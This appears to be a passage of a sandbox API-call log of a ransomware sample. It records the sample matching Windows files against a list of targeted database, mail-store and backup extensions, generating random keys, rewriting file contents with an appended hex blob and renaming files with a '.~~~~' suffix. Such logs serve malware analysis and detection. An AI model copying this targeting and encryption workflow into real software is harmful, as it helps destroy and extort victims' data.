	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".ckp") returned 0x0
	[0084.161] lstrlenW (lpString=".dbt") returned 4
	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".dbt") returned 0x0
	[0084.161] lstrlenW (lpString=".db") returned 3
	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".db") returned 0x0
	[0084.161] lstrlenW (lpString=".TXT") returned 4
	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".TXT") returned 0x0
	[0084.161] lstrlenW (lpString=".MDF") returned 4
	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".MDF") returned 0x0
	[0084.161] lstrlenW (lpString=".bdb") returned 4
	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".bdb") returned 0x0
	[0084.161] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0084.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.162] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.163] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.163] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0084.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.163] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20415304344) returned 1
	[0084.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9bff7450, dwHighDateTime=0x1d60e1e)) 
	[0084.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0084.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0084.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0084.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2678
	[0084.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2678 | out: hHeap=0x300000) returned 1
	[0084.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28081e0
	[0084.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28081e0 | out: hHeap=0x300000) returned 1
	[0084.163] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.164] GetLastError () returned 0x0
	[0084.164] GetLastError () returned 0x0
	[0084.164] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.164] GetLastError () returned 0x0
	[0084.164] GetLastError () returned 0x0
	[0084.310] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.310] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0084.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.311] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.311] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.311] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.311] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.312] CloseHandle (hObject=0x118) returned 1
	[0084.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fa20
	[0084.323] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.~~~~")) returned 1
	[0084.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fa20 | out: hHeap=0x300000) returned 1
	[0084.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0084.324] GetLastError () returned 0x0
	[0084.324] RtlWakeConditionVariable () returned 0x365f70
	[0084.324] GetCurrentThreadId () returned 0xaf0
	[0084.324] GetCurrentThreadId () returned 0xaf0
	[0084.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fa20
	[0084.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b87b8 | out: hHeap=0x300000) returned 1
	[0084.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a98f0 | out: hHeap=0x300000) returned 1
	[0084.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b87b8
	[0084.325] lstrlenW (lpString=".scr") returned 4
	[0084.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.325] lstrlenW (lpString=".cmd") returned 4
	[0084.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.325] lstrlenW (lpString=".dll") returned 4
	[0084.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.325] lstrlenW (lpString=".bat") returned 4
	[0084.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.325] lstrlenW (lpString=".cpl") returned 4
	[0084.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.325] lstrlenW (lpString=".sys") returned 4
	[0084.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.325] lstrlenW (lpString=".msc") returned 4
	[0084.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0084.325] lstrlenW (lpString=".com") returned 4
	[0084.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.325] lstrlenW (lpString=".lnk") returned 4
	[0084.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.325] lstrlenW (lpString=".msp") returned 4
	[0084.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.325] lstrlenW (lpString=".pif") returned 4
	[0084.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.325] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0084.366] lstrlenW (lpString=".sqb") returned 4
	[0084.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.366] lstrlenW (lpString=".ost") returned 4
	[0084.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.366] lstrlenW (lpString=".txt") returned 4
	[0084.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.366] lstrlenW (lpString=".mdt") returned 4
	[0084.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.366] lstrlenW (lpString=".BDB") returned 4
	[0084.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.380] lstrlenW (lpString=".eql") returned 4
	[0084.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.380] lstrlenW (lpString=".DBF") returned 4
	[0084.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.380] lstrlenW (lpString=".EQL") returned 4
	[0084.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.380] lstrlenW (lpString=".FDB") returned 4
	[0084.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.380] lstrlenW (lpString=".EDB") returned 4
	[0084.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.380] lstrlenW (lpString=".DACPAC") returned 7
	[0084.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.389] lstrlenW (lpString=".VHD") returned 4
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.389] lstrlenW (lpString=".DBV") returned 4
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.389] lstrlenW (lpString=".dacpac") returned 7
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.389] lstrlenW (lpString=".sdf") returned 4
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.389] lstrlenW (lpString=".accdb") returned 6
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.389] lstrlenW (lpString=".DBX") returned 4
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.389] lstrlenW (lpString=".MDT") returned 4
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.389] lstrlenW (lpString=".SQB") returned 4
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.389] lstrlenW (lpString=".vhd") returned 4
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.389] lstrlenW (lpString=".bac") returned 4
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.389] lstrlenW (lpString=".mdf") returned 4
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.389] lstrlenW (lpString=".BAK") returned 4
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.389] lstrlenW (lpString=".BAC") returned 4
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.389] lstrlenW (lpString=".dbs") returned 4
	[0084.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.390] lstrlenW (lpString=".vhdx") returned 5
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.390] lstrlenW (lpString=".NDF") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.390] lstrlenW (lpString=".dat") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.390] lstrlenW (lpString=".DBS") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.390] lstrlenW (lpString=".CKP") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.390] lstrlenW (lpString=".edb") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.390] lstrlenW (lpString=".PST") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.390] lstrlenW (lpString=".dbf") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.390] lstrlenW (lpString=".SQL") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.390] lstrlenW (lpString=".pst") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.390] lstrlenW (lpString=".dbv") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.390] lstrlenW (lpString=".SDF") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.390] lstrlenW (lpString=".dtxs") returned 5
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.390] lstrlenW (lpString=".db3") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.390] lstrlenW (lpString=".OST") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0084.390] lstrlenW (lpString=".dbx") returned 4
	[0084.390] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.391] lstrlenW (lpString=".DB3") returned 4
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.391] lstrlenW (lpString=".DAT") returned 4
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.391] lstrlenW (lpString=".VHDX") returned 5
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.391] lstrlenW (lpString=".ndf") returned 4
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.391] lstrlenW (lpString=".DB") returned 3
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.391] lstrlenW (lpString=".sql") returned 4
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0084.391] lstrlenW (lpString=".MYD") returned 4
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.391] lstrlenW (lpString=".DBT") returned 4
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.391] lstrlenW (lpString=".ACCDB") returned 6
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.391] lstrlenW (lpString=".fdb") returned 4
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.391] lstrlenW (lpString=".bak") returned 4
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.391] lstrlenW (lpString=".myd") returned 4
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.391] lstrlenW (lpString=".DTXS") returned 5
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.391] lstrlenW (lpString=".ckp") returned 4
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.391] lstrlenW (lpString=".dbt") returned 4
	[0084.391] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.391] lstrlenW (lpString=".db") returned 3
	[0084.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.392] lstrlenW (lpString=".TXT") returned 4
	[0084.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.392] lstrlenW (lpString=".MDF") returned 4
	[0084.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.392] lstrlenW (lpString=".bdb") returned 4
	[0084.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.392] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.392] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.393] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.393] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.393] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20438297916) returned 1
	[0084.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c2328f0, dwHighDateTime=0x1d60e1e)) 
	[0084.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a96f8
	[0084.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
